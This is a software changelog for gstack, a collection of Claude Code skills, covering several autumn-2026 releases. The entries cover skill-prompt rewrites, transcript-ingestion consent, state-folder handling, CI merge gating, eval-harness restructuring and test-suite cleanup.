CLAUDE.md is under Claude Code's 40,000-character warning (#2096).

[1.91.15.0] - 2026-10-03

Skills read cleanly on Opus 5.5: stale facts fixed, shouting turned down, and the tests that locked the shouting in now check behavior. gbrain ingests coding-agent transcripts only after you say yes.

We ran Anthropic's /claude-api prompt-audit (target claude-opus-5-5) over every skill template, resolver, model overlay, CLAUDE.md and the code that builds model requests. Then we swept the tests that pin skill wording. gstack had almost none of the old "think step by step" scaffolding. What it did have was instructions that pointed at the wrong file or command, CRITICAL/MUST stacks that current models over-apply, arithmetic the model was asked to compute, and issue numbers it can't use. Those are fixed or rewritten at normal volume, with every real rule and its reason kept. A safety rule only changed wording where an eval shows the model still obeys it.

What changes for you

Transcripts need your consent. /sync-gbrain and the gbrain sync skip Claude Code and Codex session transcripts until transcript_ingest_mode is recent (last 90 days) or all. If you never chose, the sync prints one line saying how. Other memory keeps syncing. Choose with /sync-gbrain or gstack-config set transcript_ingest_mode recent|all|off. Older stored answers (letters, incremental) get asked again. Staged transcript pages wait on disk until you consent.

proactive=false means no suggestions at all, including "want me to run /X?". gstack-config set proactive true restores them.

Model overlays: Opus 5.5, Sonnet 5.5 and other point releases use the generic Claude overlay. The Opus 4.7, Opus 4.8 and Sonnet 5 overlays apply only to those exact models (bare ID, dated snapshot or -latest). --model <family> forces one.

open-gstack-browser asks before replacing a live browser instead of killing it, and leaves it running when nobody can answer.

setup-gbrain no longer writes its own CLAUDE.md search block; /sync-gbrain is the one writer.

Upgrade: run /gstack-upgrade, then start a new session.

Itemized changes

Fixed

Skill instructions that contradicted the code. Examples: the router's empty telemetry session ID; the design board flow that waited on a command that now exits; an unexpanded $_DESIGN_DIR in the reload call; wrong Pretext API signatures in /design-html; a /make-pdf flag that doesn't exist; /land-and-deploy falling back to bare bun test and reading only the legacy eval store; stale /ship step numbers; hardcoded main/origin/main; "Mac only" claims the installer contradicts; tab-state fields the terminal agent misnamed; spec flags that aren't flags; autoplan skipping renamed sections.

The shared test bootstrap undoes only the changes it made, instead of a blanket git checkout.

Skills that read or wrote a literal ~/.gstack path now use your configured state root (GSTACK_STATE_ROOT / GSTACK_HOME): canary and health history, plan-tune gates and proposals, retro reads, ship ledgers, the telemetry sink and gbrain context queries. Custom state directories no longer miss data.

The browse untrusted-content warning names both marker formats the binary prints.

The "never ingest transcripts" choice is enforced in code, not just described.

/plan-tune describes the never-ask hook accurately.

Seven conflicts between instruction files are settled:

PROACTIVE=false means no suggestions, not even an offer.

/sync-gbrain alone writes the CLAUDE.md search block.

/ship uses the checklist's critical categories.

/plan-design-review runs Step 0 before mockups.

DX triage keeps every pass and reports blockers only.

When a DESIGN.md exists, it decides what /design-shotgun varies.

ETHOS.md describes how its principles actually reach skills.

Changed

Normal-volume instructions. CRITICAL / IRON LAW / MUST stacks, thoroughness boosters, fixed progress cadences and model-computed point scores are rewritten as plain rules and stop conditions. Incident and issue numbers move out of runtime prose. The /document-release CHANGELOG-preservation and VERSION-ask rules changed wording only after the document-release eval passed on both the old and new text. Rules without such an eval keep their wording (listed in TODOS.md).

Tests check behavior, not sentences. Prose-pinning test files keep step order, routing tables, safety lines (matched on meaning) and the markers software reads, and drop exact-sentence pins. Each conversion was checked by a scripted mutation pass: reordering a step, deleting a marker or deleting a safety line turns the test red, while rewording dropped prose leaves it green.

Evals measure the skill instead of coaching it. The document-release eval no longer tells the agent the answer. The routing evals use the routing text gstack ships. The graders check outcomes rather than exact phrases or emoji. The dedicated-tools overlay case passes on correct output plus at least 20% fewer Bash calls (contract v3).

Six paid cases that only had a model summarize SKILL.md are retired, along with duplicate checks. office-hours-auto-mode joins the fast PR profile.

New test/instruction-facts.test.ts keeps CLAUDE.md facts, /ship step references and state-root paths in step with the code. A config-key tripwire fails when a config key has no reader.

CLAUDE.md defines when prompt bytes are a test contract in this repo: when software reads them, or when a recorded eval shows the wording matters.

[1.91.13.0] - 2026-10-02

/autoplan runs again for anyone with a SessionStart hook, and /land-and-deploy never merges over red CI. Projects in nested Git groups stop sharing saved state.

This release fixes the most severe open bugs from a triage of the tracker. /autoplan's phase guard denied every phase when Claude Code's session journal opened with SessionStart hook output, which is the normal shape once any plugin installs a hook, and on Windows it also rejected forward-slash and /c/ paths. /land-and-deploy treated "no required checks" as "nothing to wait for", so on any repo without branch protection (every private repo on GitHub Free) it could merge while CI was red or still running. Repos under group/subgroup/repo remotes collapsed into one ~/.gstack/projects/ bucket, so /context-restore could offer another project's checkpoint.

What changes for you

/autoplan: works in sessions with SessionStart hooks, after /compact, /clear and a forked resume, and on Windows. When it does block, the message names the reason and how to run the reviews by hand (docs/autoplan-guard-troubleshooting.md). If a future Claude Code journal shape is unrecognized but healthy, /autoplan warns "phase publication was NOT verified for this session" and continues instead of locking you out.

/land-and-deploy is stricter. It now waits for all checks on the exact commit it merges, not only required ones, and that includes gh pr merge --auto. A red or pending optional check, or a commit with no CI at all, needs your explicit approval for that commit. The verdict comes from bin/gstack-ci-gate (--help documents it).

Nested-group remotes (GitLab subgroups, Azure DevOps, Bitbucket Server) now get their own projects/<repo>-<hash>/ bucket. GitHub buckets do not move. The old shared bucket is left in place; gstack-slug --adopt-legacy lists it and copies only the files you confirm. /context-restore only treats this project's checkpoints as latest.

never-ask preferences now fire (#2901). Questions you tuned to never-ask through /plan-tune will start auto-deciding. One-way questions, including the new land-and-deploy CI approvals, never auto-decide.

Upgrade: run /gstack-upgrade, then start a new Claude Code session.

Itemized changes

Fixed

/autoplan publication guard accepts real Claude Code journals: SessionStart attachment chains, a forked session that starts at a compact boundary, and Windows path spellings, with typed reason codes and per-reason messages (#3007, #3009, #2968, #2977, #2986, #3006). Built on #3010 by @CharlesBerg85, with root rules from #3008 by @laurenbdaniels-coder, #2969 by @maydaycyber and #2960 by @elmesery-dev.

/land-and-deploy no longer merges over red, pending or missing CI when a repo declares no required checks (#2995). Logic from #3001 by @harshitgavita-07, moved into a tested helper.

Nested-group remotes no longer share a state bucket, and checkpoints carry a credential-free project identity that /context-restore checks (#3003, reported by @tomg65). All six slug resolvers share one canonical-remote rule; the sticky cache is versioned so cache hits stay git-free.

The AskUserQuestion preference hook reads the same project identity as the writer, so never-ask preferences apply; unknown identity asks instead of auto-deciding (#2901). Idea first proposed in #2332 by @jawadakram20.

Brain context loaded 0 bytes in every skill because it called gbrain list_pages, an MCP tool name; it now uses gbrain list and reports failed queries (#2883). Includes #3000 by @TheAngryPit.

/sync-gbrain's code stage failed on managed gbrain (>= 0.51); it now passes --no-pull and never retries without it (#2985).

/sync-gbrain no longer re-creates duplicate curated pages; --sources selects memory types (#2922). Based on #2997 by @harshitgavita-07.

A clean Codex review could never pass the /codex gate. Untagged output is now UNVERIFIED instead of FAIL, and P2/P3-only output passes (#2769).

/cso import-sarif dropped every semgrep and trivy result that used uriBaseId; captured scanner shapes now import, and rejected results are counted with the rule and path (#3011).

The pre-push redact hook flagged the repo's own 4-part VERSION as a public IP on every /ship (#2856).

gstack-update-check cached "up to date" when it could not read the remote version; it now caches a short-lived CHECK_FAILED (#2786).

Added

SECURITY.md with a private vulnerability reporting path (#2984).

Periodic drift canary that reads fresh journals from the pinned claude and fails if the guard stops recognizing them.

Changed

pr-title-sync.yml, which runs with a write token on pull_request_target, pins actions/checkout to a reviewed SHA.

[1.91.12.0] - 2026-10-01

Weekly evals finish in minutes, not hours, and a red now means something. Two real crash bugs fixed, and product code typechecks clean in CI.

The weekly paid eval run took 2 hours 45 minutes on Sept 28, almost all of it one timed-out test retried. It now runs every test on its own machine within a 9-minute budget, and a single long case runs one case per process. Automatic retries are gone. Tests that grade a live model's choice run three trials at once and pass on two; promises users rely on (asks before deciding, leaves git alone, no writes in plan mode) fail on any single bad trial. $B connect --supervise finally restarts a crashed browser, compiled /cso installs can witness runtime-tested assertions again, and a required typecheck job keeps that class of bug out.

The numbers that matter

Source: the Sept 28 weekly census (run 36385945043) and the final proof census on this branch (run 36633323521). bun run scripts/test-paid-shards.ts --tier periodic --slice-budget 540 --jobs 2 --list prints the current plan.

Measure Before After

Weekly periodic census wall clock 2h 45m 11m 42s (gate census alongside: 10m 22s)

Longest planned slice 160 min (one test, twice) ~10 min

Automatic retries on paid evals up to 2 per file 0

Product-code type errors 103 on v1.91.8.0 (no check) 0, required in free-tests

lib/cso longest source line 2,159 chars 785 (a string literal)

The biggest change is honesty. With about 240 live cases, a retry used to hide a failing test; now every trial is recorded, bun run eval:pass-rates shows each case's pass rate with a confidence range, and a case that slides gets flagged by its history instead of passing on a lucky rerun.

Fewer rotating reds

Across 11 lanes the PR eval lane failed 6-8 of its 125 records per run, a different handful each time. A census of 1,827 attempts traced most of it to two sources, and this release attacks both instead of retrying:

Runs that ran out of time. Passing runs used 80-92% of their budgets, and the ones that timed out took 20-50% more steps, not slower steps. The heaviest cases now start at the gate they test, from recorded setup and recorded subagent results (docsync faults, shared-libs review, QA callers, Review Army), and land at roughly 35-60% of unchanged budgets.

Bookkeeping the model forgot. gstack-qa-evidence now enforces the checkpoint before every next probe, fills revision/runtime/cwd/learning itself, rejects placeholders, replay-only learning, missing evidence rows and evidence observed on an older input snapshot, prints report links, timing and any declared-but-unrun probes, and answers --help. /deslop-shared-libs runs every git read through bin/gstack-safe-git, which always applies the safety flags.

What this means for contributors

Run bun run typecheck and bun run typecheck:test before you push; both are free and take seconds. A red paid run now prints a headline and one line per failure with its cause and a rerun command. New paid evals need a kind in E2E_KINDS: see "Add a paid eval" in CONTRIBUTING.md.

Itemized changes

Fixed

$B connect --supervise respawned with a block-scoped env that no longer existed, so every restart threw and the supervisor gave up after five tries. The headed env is one helper used by connect and respawn, and the loop has behavioral tests.

Compiled /cso installs called an unimported join when launching the assertion-witness child, breaking runtime-tested witnessing for every installed user.

Browser-only /qa runs had no stated way to build the evidence file, whose rows only accept functional captures; the shared rule now says to materialize an empty evidence list with the checkpoints named in limits, matching /qa-only. The fix loop had spent its last minute on it and timed out.

/office-hours asks its goal question unless the user already chose a mode, then reads that mode's section before its first question; skipping both produced forcing questions with an empty recommendation. /design-consultation asks the memorable-thing question on its own after Q1 instead of packing it into Q1's call.

Free-form eval judges (docs, outcome, posture) could return JSON broken by an unescaped quote in their reasoning; they now use structured output.

/qa checkpoint receipts now print the report link for their exploration-NNN.json file; reports had been linking .qa-evidence/NNN capture folders as checkpoints instead.

/review Review Army passes checklists to specialists by path and runs web research alongside dispatch (a 12-line N+1 review went from 300 s to 212 s), and the design-lite pass always runs its detector probe; reviews had reported the detector absent without probing in 5 of 6 captured trials.

/design-consultation opens with one decision (confirm the context and choose research), not a confirm-only question; /document-release defines its /ship-owned inputs, exact steps and JSON result.

/review workflow ambiguities (smoke clock vs required revalidation, setup authority, plan-completion gate, findings record), /office-hours builder mode not loading its brainstorm section, /sync-gbrain Step 4 helper arguments and write path, /plan-ceo-review expansion framing and pacing menus, /plan-design-review with no designer API key, and /deslop-shared-libs one-file-per-turn reads.

Eval detectors that graded wording or step order now grade outcomes: eng batching, CEO split-overflow, mode routing, section-loading stale-fill, outside-voice-disabled attribution, design focus menus, and PTY permission dialogs with cropped titles.

Harness races and adapter gaps found by the proof runs: plan seeding accepted a stale empty input box when the CLI repainted after recording its reply, the third-party-actions recorder fixture lost every failure record, the autoplan dual-voice check could not read framed subagent reports from newer Claude Code, and the HOLD SCOPE routing check judged the skill's own defer/keep menu as its rigor decision, the outside-disabled check missed a correctly attributed quote of the pre-existing review record, and the plan-review judge was not told its reason length bound on the field it writes.

Changed

Paid evals: one test file or case per machine within a 540-second slice budget, planned from recorded per-tier and per-case durations; case sharding for plan, design, review-army, shared-libs, shared-libs-paths, ship-docsync and qa-callers.

Verdict policy: no retries; rule cases fail on any failed trial, behavior cases pass on 2 of 3 parallel trials with contract assertions still strict, judge entries average 3 samples against unchanged thresholds. One panel-verdict function feeds the report, PR comment, weekly issue and pass-rate history. A census whose every red is infrastructure is re-dispatched once, and both runs are reported.

New non-blocking weekly evals-marathon.yml lane for full start-to-finish flows: the full /office-hours workflow (a focused design-draft case replaces it in the weekly lane) and the full /plan-ceo-review split-overflow run, which took 8 to 20 minutes on its own.

The CI image pins Claude Code 2.1.284, the first version that recognizes the eval model claude-fable-5-1 and runs it with the same profile users get. Both versions send effort "high"; a census that looked slower on 2.1.284 was mostly slower API responses (its SDK-only judges, which never start the CLI, were 25% slower too), and nine previously slow cases pass on 2.1.284 within unchanged budgets.

lib/cso/*.ts is formatted with pinned Prettier; minified transpile output is byte-identical except three canonicalized regex flag orders.

The duplicate dispatch-only ship-docsync case is removed; ship-docsync-completion asserts the same on the same fixture.

Added

tsconfig.json, bun run typecheck (strict, zero product errors) and bun run typecheck:test (test-code diagnostic ratchet), both in the required free-tests check, plus format:cso:check.

E2E_KINDS, BEHAVIOR_WHY, EVAL_POLICY and a data-driven CASE_QUARANTINE (entry below 95% per trial over 10 trials, exit at 97%, 10% cap, 8-week expiry, never for product defects), and CASE_CI_EXCLUDE for CI-unrunnable cases.

bun run eval:pass-rates with Wilson intervals, per-input-identity series and a weekly drift gate; --case <id> --trials N for local diagnosis.

For contributors

Open PRs touching lib/cso should run bun run format:cso before rebasing.

Builds on the typecheck work in #2447, contributed by @laddtnov.

Coordinated with #2994 (v1.91.8.0), which retired the never-green finding-count evals this wave had been repairing.

[1.91.11.0] - 2026-09-30

gstack now looks up its state folder one way everywhere, and the five most copy-pasted or oversized parts of the codebase each have a single owner. Before, about 50 scripts, hooks and libraries each resolved the state folder with their own rule, and the rules disagreed. If you set GSTACK_HOME, GSTACK_STATE_DIR or GSTACK_STATE_ROOT, telemetry, analytics, update-check snoozes, the egress ledger and hook logs now all land in the folder you chose. Nothing is moved for you. Run ~/.claude/skills/gstack/bin/gstack-paths --explain to see the active folder and whether ~/.gstack still holds older state; docs/state-root.md has the move recipe.

Hotspot Before After

Code files with a hand-rolled ${GSTACK_*:-…} chain 48 2 (the bash owner and one allowlisted partial-upgrade fallback)

browse/src/server.ts lines (buildFetchHandler alone) 3,464 (1,560) 2,224 (~350)

test/helpers/claude-pty-runner.ts lines 5,047 30 (barrel over test/helpers/pty/*)

scripts/resolvers/review.ts lines 1,921 removed (5 modules, largest 771)

Shard spawn/kill/sandbox implementations 2 1 (scripts/lib/shard-engine.ts)

Changed

One state-root rule. Every script, hook and skill resolves state as GSTACK_STATE_ROOT → GSTACK_HOME → GSTACK_STATE_DIR → CLAUDE_PLUGIN_DATA (only for the gstack plugin) → ~/.gstack. Skill bash blocks stop with a reinstall message if the resolver is missing, instead of writing under /.

Privacy opt-outs never get looser. telemetry, memorable_recall, codex_reviews, update_check and trust-policy denies take the most restrictive value across the active folder and ~/.gstack. gstack-config set says when another folder still overrides you and prints the command that fixes it, and gstack-config list shows which folder each merged key came from.

Uninstall deletes state only at ~/.gstack. gstack-uninstall refuses (exit 2) when that path resolves to /, your home, the gstack checkout or the current repository. For a relocated folder it leaves the folder in place and prints the exact removal command.

Outside-voice fallbacks read the same in every skill. /plan-devex-review now also treats an "API key" error as an authentication failure, /office-hours names its fallback subagent like the other skills, and the /review and /ship adversarial pass says "timed out after 9 minutes" (a timed-out pass is still missing coverage).

/review and /ship exploratory QA now say how required plan checks behave once the 5-minute smoke clock expires: they and their revalidation keep running on a per-command --timeout-ms and still publish checkpoints, while a smoke recheck after expiry is reported not-run. In /review, skipping a finding that carries a proposed test skips both the test and the fix, and the defect stays unresolved.

After a revert of this release, state written to a non-default folder while it was live stays in that folder.

Fixed

A pair-agent setup key that had not been exchanged yet was accepted as a bearer token on the browse daemon's /command, /batch and /file. A setup key now authenticates only the /connect exchange.

For contributors

State root: lib/state-root.ts (resolveStateRoot, readConfigKey) and its bash twin bin/gstack-state-root.sh (builtins only) own the chain. A parity table runs every row through both with PATH empty, Windows rows included. test/state-root-ratchet.test.ts rejects new hand-rolled chains, and test-setup.ts strips inherited GSTACK_STATE_ROOT / GSTACK_STATE_DIR so ambient variables cannot leak into tests. hosts/claude/hooks/hook-log.ts is the five hooks' one error-log writer (0600).

Browse routes: the daemon's HTTP routes are one declared table (browse/src/routes/table.ts: method, path, auth kind, listener surface), with one auth gate, one denial per auth kind, and handlers in browse/src/routes/*.ts. A black-box matrix over every route, both listeners and five credential types passed on the old server and passes unchanged on the new one. The route tests now send real requests instead of grepping server.ts, and browse/test/server-route-dispatch-ratchet.test.ts keeps dispatch inside the table.

Shard engine: scripts/test-strict-output.ts grew into scripts/lib/shard-engine.ts (process-group spawn, wall timeout and group kill, strict Bun verdicts, per-shard tmp and Chromium sandbox, logs, duration seeds, flag loop), and both runners use it. Lane policy stays per lane. A seven-outcome fixture corpus recorded from the old runners pins identical verdicts, and paid --list output is byte-identical. A timed-out free shard now stops reading at its deadline, as the paid lane already did.

PTY harness: test/helpers/claude-pty-runner.ts is a barrel over test/helpers/pty/* (screen, launch, classify, auq, plan-native, boundaries, judge). One runPtySession loop drives the observation, counting and floor runners. A scripted fake PTY driver (pty/fake-session.ts) with an injectable clock runs each runner deterministically, and the unit test is split along the same modules. Tests keep importing the barrel.

Review resolvers: scripts/resolvers/review.ts is split into review-dashboard.ts, plan-gates.ts, spec-review.ts, outside-voice-steps.ts and review-scope.ts. Generated output is byte-identical except the fallback wording above, which now comes from outsideVoiceFailurePolicy() in outside-voice.ts; test/outside-voice-failure-policy.test.ts rejects hand-written copies.

Ratchets: test/module-size-ratchet.test.ts keeps the new owner modules at or under 800 lines and 150 lines per function, and stops the residual files (server.ts, both runners) from growing. test/touchfiles.test.ts checks that every moved module still selects the paid evals its source file selected (goldens in test/fixtures/touchfile-moved-code/, recorded before the move).

Budgets: the guarded gstack-paths line in always-loaded preambles moved a few budgets to their measured values, each with its derivation recorded: carve-guards for ship (1.397 → 1.404), plan-ceo-review skeleton (80,150 → 80,850 bytes), plan-eng-review (1.169 → 1.174), design-consultation (1.08 → 1.085) and qa (1.095 → 1.102), and the unfreeze eager ceiling (393 → 448 tokens).

Webhook fix eval: qa-functional-webhook-fix no longer asks the model to rerun all eight webhook scenarios after its repair; the harness already reruns all eight on the repaired source, and the report-only webhook eval still requires eight-scenario coverage. The fix eval now asks for the same post-repair probes as the CLI fix eval, which brings a passing run from about 244s to 133-214s of its 285s budget (3/3 local passes).

Deferred: TODOS.md "P3: next refactor wave" lists the hotspots this wave did not touch and the behavior bugs it found and left alone.

[1.91.9.0] - 2026-09-29

Every gstack workflow that proposes, writes, reviews or ships tests now applies one test value bar: a test earns its place by protecting behavior a real regression would break, and test count is not a goal. /ship's coverage gate counts only tests that clear that bar, and the new /test-audit sweeps existing tests for ones that cost more than they protect.

/ship's coverage number can drop for unchanged code, because a path covered only by a smoke test (★) no longer counts. The gate shows both numbers, for example:

Before: Coverage gate: 81% After: Coverage: 58% value-weighted (81% including 4 weakly covered paths)
No action required; the gate still only asks.

Added

/test-audit [path ...] [--since <ref>] [--max-candidates N] finds low-value, implementation-coupled and duplicate tests and the test-only exports they keep alive. A mechanical pre-filter runs before any model reading, every candidate carries a complete retirement card (what it detects, non-test callers with the search command, stronger remaining proof, history, what retiring it unlocks, validation), and SKILL.md goldens and other contract tests are retained. The report and a JSON sidecar land in ~/.gstack/projects/<slug>/. Nothing is edited unless you approve a batch; spawned and headless sessions stay report-only.

docs/test-value-bar.md explains the authoring gate, value and retirement cards, weak paths, the value-weighted (X) and any-test (Y) coverage numbers, base control, the overrides and every degraded-mode message.

Optional CLAUDE.md ## Test Coverage keys: Generation cap: (default 5), Base control: (auto or off), Base control budget: (seconds, default 90) and Star rating: (auto or off). A gstack:test-value keep reason="..." comment makes /review and /test-audit skip a deliberate test and report the reason.

Changed

/ship Step 7 extends existing tests before writing new ones and writes at most 5 tests per generation pass (was 20). Each generated test carries a value card header. The parent rejects and removes tests with an incomplete card, a duplicate protects or a seam with no non-test caller, and a separate read-only pass rates the tests written in the run. The gate reads the value-weighted coverage_pct_value, falls back to coverage_pct with an upgrade note when an older skill omits it, and never substitutes 0. In spawned sessions it generates only for true gaps and lists weak paths as proposals.

/ship regression tests must fail at HEAD before the repair and pass at the base branch in a temporary worktree (Node/Bun), within 90 seconds per test and 3 minutes per run. Other ecosystems record "base control unavailable" with a four-command manual check.

The PR body adds Test value: K tests written, R rejected by the authoring gate, E existing tests extended, W paths weakly covered, and Step 20 metrics record coverage_schema: 2, coverage_pct_value, the weak, extended and rejected counts, and regression-proof counts.

/plan-eng-review and /plan-ceo-review state one rule: every behavior tested, no test without a regression it would catch. Test plans carry a value card per critical path and edge case, plus a ## Tests to Retire section that /test-audit reads as seeds.

/review's testing specialist reports source-grep tests, test-only exports and other low-value tests in the diff as INFORMATIONAL findings with caller-search evidence, never as auto-deletes, and flags regression tests without red proof. A gap closed only by a low-value test stays a coverage gap at its existing severity.

/qa and /qa-only apply the bar's last two questions before writing or proposing a regression test and record its value card.

For contributors

scripts/resolvers/test-value.ts owns the shared constants, the {{TEST_VALUE_BAR:<mode>}} and {{TEST_VALUE_MESSAGE:<key>}} placeholders and per-mode byte ceilings (measured renders plus 15%: plan 1,897, ship 2,742, qa 1,036, audit 3,712 bytes). Adapted from openclaw/openclaw@a214e76 .agents/skills/test-audit. The unreachable review branch of the coverage audit is deleted.

test/test-value-bar.test.ts checks each mode's contract text and ceiling, the ship gate's decision rows, the rejected-file removal script in a Git fixture, the static review specialist's sync with the constants, docs anchors and skill registration. Three gate evals in test/skill-e2e-test-value.test.ts cover a weak path in weak_gaps, low-value review findings with a retained golden, and a report-only /test-audit.

Budgets moved for the new skill and the embedded bar, each at its measured value with the derivation recorded: catalog 1,171 → 1,194 token-equivalents (/test-audit adds 92 bytes), always-on context 6,465 → 6,873 tokens, a new test-audit eager ceiling of 10,439 tokens, and carve-guard union ratios for ship (1.322 → 1.397; the lazy Step 7 section grows about 13.6KB), plan-eng-review (1.151 → 1.169) and qa (1.08 → 1.095). The paid census pins count the new gate file.

The context-budget and ship golden fixtures are audited free-only PR inputs, so editing them no longer restores every paid gate case.

test/pr-shared-input-selection.test.ts no longer depends on whether the local package.json differs from its merge-base.

The catalog estimate in test/skill-size-budget.test.ts lists skills from HEAD, the same tree it reads, so a staged but uncommitted skill no longer breaks it.

[1.91.8.0] - 2026-09-29

The test suite is smaller and every remaining test maps to a product contract: 227 fewer test files, about 90,000 fewer lines of tests, helpers and fixtures, and the weekly paid lane drops the five evals that were red eight runs straight. Free tests that only replayed one captured failure are folded into their detector's owner test, and paid eval selection is derived from each eval's own imports instead of hand-copied lists.

Measure Before (v1.91.6.0) After

Tracked test files 1,184 957

Test-file lines (all *.test.ts) 279,640 244,504

test/ TypeScript lines (tests + helpers) 274,208 227,713

test/helpers lines 51,390 39,427

test/fixtures bytes 16.3 MB 9.7 MB

Free suite files / passing tests (Ubicloud standard-16) 1,065 / 27,331 857 / 20,302

Free suite serial seconds (recorded durations, same machine class) 1,888 1,738

Paid files / gate-lane files / periodic files 119 / 58 / 100 100 / 42 / 69

Weekly gate-census files 58 41 (LLM judges run in the periodic and PR lanes)

Weekly periodic shard-minutes spent on files this release removes (09-21 run) 235 of 462 0

The table compares v1.91.6.0 with this branch before it merged v1.91.7.0, which adds its own functional-QA and documentation tests. With both, the free suite runs 914 files (2,066 recorded serial seconds), the paid census has 104 files (46 gate, 70 periodic), and the weekly gate census runs 45 files in seven slices. v1.91.7.0's new paid cases follow the same derived-touchfile rule, and its new helper-only tests are listed in the ratchet baseline.

Removed

The never-green finding-count cluster: skill-e2e-autoplan-chain and skill-e2e-plan-{ceo,eng,design,devex}-finding-count, whose weekly failures were harness and budget failures, never skill behavior (triage in docs/test-audit-2026-09.md). No paid eval now proves a live model completes the full /autoplan chain or asks one question per finding; both gaps have TODOS entries with re-entry tests. The dedicated eighth periodic slice and AUTOPLAN_CHAIN_BUDGET go with them.

Paid files that asserted nothing or could not pass: skill-llm-eval-spec, skill-e2e-spec-execute, gemini-e2e (no Gemini CLI in CI), skill-e2e-ship-idempotency, skill-e2e-conductor-prose, codex-e2e-plan-format, skill-e2e-brain-privacy-gate, skill-e2e-opus-47 (its negative routing controls moved into skill-routing-e2e) and two duplicate overlay wrappers; test:gemini scripts removed.

Free tests of dead eval code, product tests that exercised copies of the product, and test-infrastructure dead code.

Changed

Tests that faked the product now drive it: the design serve() server, terminal-agent /internal/grant and /internal/revoke bearer auth, /health liveness, and brain-sync consent before egress.

Per-incident replay files are folded verbatim into twelve detector owner tests (listed in docs/TEST_PORTFOLIO.md), keeping every captured case.

Paid touchfiles are derived: test/touchfiles.test.ts checks that each case's key covers its eval's static helper/fixture imports and the fixture paths it names, and free *.test.ts files are no longer touchfiles, so editing a free test no longer selects paid evals.

The paid planner skips a file for a tier lane when every E2E id it registers belongs to the other tier (the hollow shards), and the weekly gate census skips the LLM judges.

Seven paid evals that pinned claude-opus-4-7 or claude-sonnet-4-6 now capture with the default model from resolveEvalModel; all passed on it. Four more (skill-e2e-design, -office-hours-phase4, -plan-prosons, -plan) keep claude-opus-4-7 because six of their cases failed on the default model; TODOS tracks re-pinning them.

memory-pipeline, ios-qa, ios-qa-swift-build and plan-tune-cathedral make no model calls and now run in the free suite; CI-unrunnable Codex, Aside, outside-voice and iOS-device files are excluded from the weekly lane with a tracked re-entry condition.

The plan-count history PTY test waits for its startup marker instead of a fixed 8-second sleep.

Fixed

The /plan-design-review UI-scope gate eval recognizes a Design finding by the review's own issue-numbered options (1A, 1B, …) as well as by UI vocabulary, so a real finding about hierarchy, navigation, state tables or confirmation patterns no longer goes uncounted until the 600-second cap. It timed out on v1.91.7.0 in one of two local runs and on this branch's CI; both fixed runs finished in about 420 seconds.

bun run test:ubicloud no longer reports pull failed when a run leaves no flake ledger in /tmp: a retrieval glob that matches nothing is skipped with a note, and the retained shard logs still land in .context/ubicloud/<timestamp>/free-test-logs/.

For contributors

When a paid eval fails, fix the product or harness and add the captured case as one row in the detector's owner test; test/test-of-test-ratchet.test.ts fails on any new test file that imports only test/ code and names the owner test to extend. CONTRIBUTING.md "Test tiers" has an example.

Deleted test/helpers modules and where their live cases went:

autoplan-setup-question, ceo-approach-pick, ceo-completion-handoff, ceo-payment-findings, design-artifact-question, design-count-fixture, design-count-outside, design-count-review, devex-count-fixture, devex-seed-coverage, eng-count-question-policy: consumed only by the retired finding-count evals; runner tests that used them as caller policies now use inline policies, and the omitted-multiSelect default moved to test/plan-review-decisions.test.ts.

autoplan-phase-order, pty-current-screen: never wired; the settings-overwrite card assertion moved to test/helpers/claude-pty-runner.unit.test.ts.

ceo-paired-fixture, design-ui-scope, plan-skill-completion, required-reads, transcript-section-logger, eng-finding-fixture, eng-completion-handoff, eng-retained-corpus, captured-paths, gemini-session-runner: no live cases.

test/helpers/resolve-repo-path.ts resolves specifiers and path literals for both the ratchet and the touchfile closure check. The full evidence (inventories, selection proof, security mapping, retained false positives) is in docs/test-audit-2026-09.md.

[1.91.7.0] - 2026-09-28

QA can test APIs, CLIs, jobs, workers and webhooks with the project's own tools, without starting a browser. Review and ship now run bounded exploratory checks, and every ship audits relevant documentation before final verification and publication.

Added

Functional QA checks native outputs and durable effects, including invalid inputs, authorization, cancellation, retries, duplicate delivery, concurrency and recovery. Reports distinguish failures, blocked probes and untested contracts; browser and functional results stay separate.

Exploratory QA turns observations into targeted probes and proposed regression tests. Written evidence checkpoints connect each observed result to the next probe and are linked from the final report. Authorized repairs require a reproduced defect, a regression that fails before the repair, and successful regression, original-probe and adjacent-path checks when the native test infrastructure supports them.

Changed

/qa and /qa-only load instructions for the selected surface on each supported host. Functional and report-only runs never bootstrap a framework or inherit browser setup permission; /qa-only preserves product code, tests, configuration and Git state.

/review and /ship run bounded exploration even on small non-browser diffs without a plan or server. Required checks remain required when blocked or unfinished, and proposed tests retain the parent's approval gates.

Review collects checklist, specialist, QA and adversarial findings before one parent-owned fix phase. Re-review keeps the same three-cycle limit, reruns affected probes and records incomplete coverage honestly.

Every ship consumes a completed documentation audit before final checks and publication, including uncommitted changes and existing-PR or repeat runs. Failed, stale or unsettled child results cannot silently become a clean audit; the parent retains release metadata and Git ownership.

Fixed

Report-only QA completes its scope and method Reads before setup, and preserves exact public fixture paths in evidence instead of inventing redacted paths. Actual secrets and private payloads remain protected.

Ship's workflow quality judge uses a 64k streamed, structured response within its existing deadline; other judges retain their 8k allowance. Cache identity includes the actual cap, transport and response contract, and incomplete or malformed scores remain failures.

Repeated QA runs preserve prior reports, baselines and exploration notes. Browser techniques follow the same checkpointed probe order as functional QA, and mixed reports keep each surface's evidence and scores separate.

Ship's two-pass test-generation allowance includes the initial attempt, failures and zero-test results. Duplicate design findings share one action while retaining both reviewers' evidence, statistics and the stricter approval requirement.

Ship keeps repair and late-change instructions in the steps that own them. Nested repairs preserve their return destination, and release preparation requires matching review records before version or documentation writes.

Reusing skipped shared-code advice now relies on executable checks of the captured branch and eligible raw source evidence. Unsupported Git states, transformed paths and records without trusted coverage provenance cannot certify a previous decision.

Paid-test --list also stays read-only with a saved plan and selected slice: it validates and lists the selected work without API preflight, test launches or result files.

Functional-QA test fixtures enforce their declared foreground command boundary before execution, and shared native-event decoding rejects malformed or incomplete evidence while preserving caller-specific handoff rules.

Native plan fixtures accept byte-exact seeds inside Claude's paste envelope without accepting fused or changed content. QA fixture completion avoids duplicating its checkpoint ledger, and caller fixtures distinguish absolute deadlines from start times.

Free tests retain private full logs, fail when evidence cannot be saved, and give an actionable recovery step. Linux and Windows CI collect the retained logs. Refreshed timings make new fast regressions reachable through the existing quick lane without removing complete-suite coverage.

The Ubicloud wrapper retrieves retained free-test logs and any retry ledger before destroying its VM.

[1.91.6.0] - 2026-09-28

PR eval slices are balanced by how long each eval actually takes, so the slowest slice no longer carries most of the run.

Changed

